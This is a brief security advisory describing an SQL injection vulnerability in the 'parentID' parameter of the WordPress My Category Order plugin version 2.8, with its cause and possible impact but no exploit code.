Discussion
WordPress My Category Order Plugin 'parentID' Parameter SQL Injection Vulnerability
The WordPress 'My Category Order' plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The issue affects My Category Order 2.8; other versions may also be affected.
